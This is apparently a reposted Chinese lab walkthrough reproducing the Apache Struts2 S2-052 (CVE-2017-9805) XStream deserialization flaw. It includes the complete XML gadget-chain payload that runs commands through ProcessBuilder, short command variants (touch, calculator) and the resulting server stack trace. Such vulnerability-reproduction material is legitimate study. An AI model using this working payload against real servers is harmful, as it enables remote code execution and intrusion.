struts2-052漏洞

转:https://thief.one/2017/09/06/1/

s2-052漏洞介绍

s2-052漏洞是当用户使用带有XStream组件的Struts-REST插件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,可直接在数据包中插入恶意代码。

漏洞编号:CVE-2017-9805(S2-052)
漏洞影响:Struts2.5 – Struts2.5.12版本。

1.漏洞环境搭建

已经配置好Tomcat和JDK环境

从struts2的官网下载最后受影响的版本struts-2.5.12解压后,将apps目录下的struts2-rest-showcase.war文件放到webapps目录下,然后运行tomcat,访问页面得到

构造post包

可以直接使用上面的poc发包,也可以自己抓取数据包重放,自己抓取的方式是点击页面上的编辑,然后点击submit提交,抓取post包,再修改post的body字段为此漏洞的poc。

这点是通过Burpsuite和谷歌代理插件SwitchyOmega来获取request包并修改

在使用SwitchyOmega的时候始终不能代理127.0.0.1,最后修改为了192.168.5.9能代理的

原始request请求:

POST /struts2-rest-showcase/orders/4 HTTP/1.1
Host: 192.168.5.9:8080
Content-Length: 41
Cache-Control: max-age=0
Origin: http://192.168.5.9:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.5.9:8080/struts2-rest-showcase/orders/4/edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=41C0D887A47AAA7532AF9B7B2921F0B9
Connection: close

_method=put&clientName=Sarah&amount=12345

尝试不同的poc

网上使用最多的poc是弹出一个计算器,然而我在mac上测试发现弹出计算器失败了,因此换了一个写文件的poc,发现测试成功。

写文件poc:(会在/tmp/下生成vuln文件)

<command><string>/usr/bin/touch</string><string>/tmp/vuln</string> </command>

弹计算器poc

Mac:
<command><string>/Applications/Calculator.app/Contents/MacOS/Calculator</string></command>
windows:
<command><string>clac.exe</string></command>

需要提交修改两个地方

1.请求头对应的地方改成这个:

Content-Type: application/xml

2.提交数据进行修改

修改后的request为:

POST /struts2-rest-showcase/orders/4 HTTP/1.1
Host: 192.168.5.9:8080
Content-Length: 41
Cache-Control: max-age=0
Origin: http://192.168.5.9:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.5.9:8080/struts2-rest-showcase/orders/4/edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=41C0D887A47AAA7532AF9B7B2921F0B9
Connection: close

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>calc.exe</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

在Burpsuite中修改后

然后发送到服务。

我是在window7下面测试的发现打开了系统自带的计算器

在网页中出现500错误

HTTP Status 500 – Internal Server Error
Type Exception Report

Message java.lang.String cannot be cast to java.security.Provider$Service : java.lang.String cannot be cast to java.security.Provider$Service

Description The server encountered an unexpected condition that prevented it from fulfilling the request.

Exception

com.thoughtworks.xstream.converters.ConversionException: java.lang.String cannot be cast to java.security.Provider$Service : java.lang.String cannot be cast to java.security.Provider$Service
---- Debugging information ----
message             : java.lang.String cannot be cast to java.security.Provider$Service
cause-exception     : java.lang.ClassCastException
cause-message       : java.lang.String cannot be cast to java.security.Provider$Service
class               : java.util.HashMap
required-type       : java.util.HashMap
converter-type      : com.thoughtworks.xstream.converters.collections.MapConverter
path                : /map/entry
line number         : 48
version             : 1.4.8
-------------------------------
    com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:79)
    com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:65)
    com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
    com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
    com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)
    com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)
    com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1206)
    com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1190)
    com.thoughtworks.xstream.XStream.fromXML(XStream.java:1120)
    org.apache.struts2.rest.handler.XStreamHandler.toObject(XStreamHandler.java:45)
    org.apache.struts2.rest.ContentTypeInterceptor.intercept(ContentTypeInterceptor.java:60)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:134)
    com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    com.opensymphony.xwork2.interceptor.StaticParametersInterceptor.intercept(StaticParametersInterceptor.java:199)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    org.apache.struts2.interceptor.CheckboxInterceptor.intercept(CheckboxInterceptor.java:88)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    org.apache.struts2.interceptor.FileUploadInterceptor.intercept(FileUploadInterceptor.java:246)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor.intercept(ModelDrivenInterceptor.java:99)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor.intercept(ScopedModelDrivenInterceptor.java:139)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:134)
    com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    org.apache.struts2.interceptor.ProfilingActivationInterceptor.intercept(ProfilingActivationInterceptor.java:105)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    org.apache.struts2.interceptor.debugging.DebuggingInterceptor.intercept(DebuggingInterceptor.java:253)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    com.opensymphony.xwork2.interceptor.ChainingInterceptor.intercept(ChainingInterceptor.java:157)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    org.apache.struts2.interceptor.I18nInterceptor.intercept(I18nInterceptor.java:123)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    com.opensymphony.xwork2.interceptor.PrepareInterceptor.doIntercept(PrepareInterceptor.java:174)
    com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    org.apache.struts2.interceptor.MessageStoreInterceptor.intercept(MessageStoreInterceptor.java:211)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    org.apache.struts2.interceptor.ServletConfigInterceptor.intercept(ServletConfigInterceptor.java:171)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    com.opensymphony.xwork2.interceptor.AliasInterceptor.intercept(AliasInterceptor.java:201)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor.intercept(ExceptionMappingInterceptor.java:193)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    com.opensymphony.xwork2.DefaultActionProxy.execute(DefaultActionProxy.java:160)
    org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:577)
    org.apache.struts2.dispatcher.ExecuteOperations.executeAction(ExecuteOperations.java:81)
    org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:143)
Root Cause

java.lang.ClassCastException: java.lang.String cannot be cast to java.security.Provider$Service
    javax.crypto.Cipher.chooseFirstProvider(Cipher.java:745)
    javax.crypto.Cipher.update(Cipher.java:1827)
    javax.crypto.CipherInputStream.getMoreData(CipherInputStream.java:139)
    javax.crypto.CipherInputStream.read(CipherInputStream.java:246)
    com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx.readFrom(ByteArrayOutputStreamEx.java:65)
    com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.get(Base64Data.java:182)
    com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.toString(Base64Data.java:286)
    jdk.nashorn.internal.objects.NativeString.getStringValue(NativeString.java:121)
    jdk.nashorn.internal.objects.NativeString.hashCode(NativeString.java:117)
    java.util.HashMap.hash(HashMap.java:339)
    java.util.HashMap.put(HashMap.java:612)
    com.thoughtworks.xstream.converters.collections.MapConverter.putCurrentEntryIntoMap(MapConverter.java:113)
    com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:98)
    com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:92)
    com.thoughtworks.xstream.converters.collections.MapConverter.unmarshal(MapConverter.java:87)
    com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
    com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:65)
    com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
    com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
    com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)
    com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)
    com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1206)
    com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1190)
    com.thoughtworks.xstream.XStream.fromXML(XStream.java:1120)
    org.apache.struts2.rest.handler.XStreamHandler.toObject(XStreamHandler.java:45)
    org.apache.struts2.rest.ContentTypeInterceptor.intercept(ContentTypeInterceptor.java:60)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:134)
    com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    com.opensymphony.xwork2.interceptor.StaticParametersInterceptor.intercept(StaticParametersInterceptor.java:199)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    org.apache.struts2.interceptor.CheckboxInterceptor.intercept(CheckboxInterceptor.java:88)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    org.apache.struts2.interceptor.FileUploadInterceptor.intercept(FileUploadInterceptor.java:246)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor.intercept(ModelDrivenInterceptor.java:99)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor.intercept(ScopedModelDrivenInterceptor.java:139)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:134)
    com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    org.apache.struts2.interceptor.ProfilingActivationInterceptor.intercept(ProfilingActivationInterceptor.java:105)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    org.apache.struts2.interceptor.debugging.DebuggingInterceptor.intercept(DebuggingInterceptor.java:253)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    com.opensymphony.xwork2.interceptor.ChainingInterceptor.intercept(ChainingInterceptor.java:157)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    org.apache.struts2.interceptor.I18nInterceptor.intercept(I18nInterceptor.java:123)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    com.opensymphony.xwork2.interceptor.PrepareInterceptor.doIntercept(PrepareInterceptor.java:174)
    com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    org.apache.struts2.interceptor.MessageStoreInterceptor.intercept(MessageStoreInterceptor.java:211)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    org.apache.struts2.interceptor.ServletConfigInterceptor.intercept(ServletConfigInterceptor.java:171)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    com.opensymphony.xwork2.interceptor.AliasInterceptor.intercept(AliasInterceptor.java:201)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor.intercept(ExceptionMappingInterceptor.java:193)
    com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)
    org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135)
    com.opensymphony.xwork2.DefaultActionProxy.execute(DefaultActionProxy.java:160)
    org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:577)
    org.apache.struts2.dispatcher.ExecuteOperations.executeAction(ExecuteOperations.java:81)
    org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:143)
Note The full stack trace of the root cause is available in the server logs.

Apache Tomcat/8.5.42
原文地址:https://www.cnblogs.com/grasp/p/11671550.html